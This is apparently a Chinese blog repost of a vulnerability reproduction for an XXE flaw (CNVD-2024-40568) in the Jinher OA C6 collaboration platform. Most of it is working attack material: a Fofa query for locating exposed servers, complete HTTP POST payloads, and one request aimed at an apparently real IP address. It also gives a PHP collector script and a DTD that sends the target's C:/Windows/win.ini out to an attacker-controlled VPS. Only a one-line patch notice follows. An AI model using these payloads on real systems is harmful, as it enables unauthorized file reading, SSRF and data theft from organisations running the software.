当前位置: 首页 > article >正文

金和OA-C6 ApproveRemindSetExec.aspx XXE漏洞复现(CNVD-2024-40568)

0x01 产品描述:

        金和C6协同管理平台是以"精确管理思想"为灵魂,围绕“企业协同四层次理论”模型,并紧紧抓住现代企业管理的六个核心要素:文化 Culture、 沟通Communication 、 协作Collaboration 、创新 Creation、 控制 Control、中心 Center,而构建了结构化的、灵活集成的、动态响应的、面向企业运营管理的智慧协同应用管理平台。
0x02 漏洞描述:

        金和OA-C6 ApproveRemindSetExec.aspx接口存在XXE漏洞,未经授权的攻击者可利用该漏洞实现任意文件读取或ssrf。
0x03 搜索语句:

Fofa:body="c6/Jhsoft.Web.login"


0x04 漏洞复现:

利用dnslog复现

POST /c6/JHSoft.Web.AddMenu/ApproveRemindSetExec.aspx/? HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/xml

<!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://123.0olbin.dnslog.cn"> %remote;]>

 

服务器快速检测: 

POST /c6/JHSoft.Web.AddMenu/ApproveRemindSetExec.aspx/? HTTP/1.1
Host: 61.133.99.56:88
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/xml

<!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://your-vps:port/test.xml"> %remote;]>

利用dtd获取数据:

整体流程:poc利用个人服务器执行dtd与读取目标服务器的c盘文件内容。

Dtd内容是XXE无回显利用方式,将内容外带到其他地方,将内容通过get.php写入file.txt。

首先在vps上创建以下脚本:

<?php
$data=$_GET['file'];
$myfile = fopen("file.txt", "w+");
fwrite($myfile, $data);
fclose($myfile);
?>

 构造dtd用以读取,dtd里内容如下

<!ENTITY % all "<!ENTITY send SYSTEM 'http://your-vps:port/get.php?file=%file;'>">

构造完成后vps启动服务用于信息监听

请求构造以下数据

POST /c6/JHSoft.Web.AddMenu/ApproveRemindSetExec.aspx/? HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///C:/Windows/win.ini">
<!ENTITY % remote SYSTEM "http://your-vps:port/xxe.dtd">
%remote;
%all;
]>
<root>&send;</root>

 

 获取win.ini数据

解码后

0x05 修复建议:

官方已修复该漏洞,请用户联系厂商修复漏洞:http://www.jinher.com/


http://www.kler.cn/a/379964.html

相关文章:

  • 影刀RPA实战:嵌入python,如虎添翼
  • C++中的继承——第二篇
  • 软件对象粒度控制与设计模式在其中作用的例子
  • LeetCode //C - 447. Number of Boomerangs
  • Vue3版本的uniapp项目运行至鸿蒙系统
  • SpringCloud Alibaba-05 Seata分布式事务处理
  • WordCloudStudio:AI生成模版为您的文字云创意赋能 !
  • 【大数据学习 | kafka】简述kafka的消费者consumer
  • excel的宏1
  • AI信息速递 20241105
  • 如何在BSV区块链上实现可验证AI
  • 基于ant组件库挑选框组件-封装滚动刷新的分页挑选框
  • [C++]使用cpphttplib的http服务上传和下载
  • golang运行某个类下所有的基准测试
  • 得物多模态大模型在重复商品识别上的应用和架构演进
  • Django ORM详解: model转字典的几种方法
  • 1.3 初探OpenCV贡献库
  • c++中string底层实现之SSO
  • DMFLDR数据载入使用实践
  • 【Git】Git 远程仓库命令详解
  • three.js 实现 css2d css3d效果 将 二维Dom 和 三维场景结合
  • Oracle 第18章:分区技术
  • 代理IP地址和端口是什么?怎么进行设置?
  • 嵌入式开发之文件I/O-函数
  • 在区块链技术中,什么是权益证明(PoS)?
  • 从 TCP 友好性看传输优化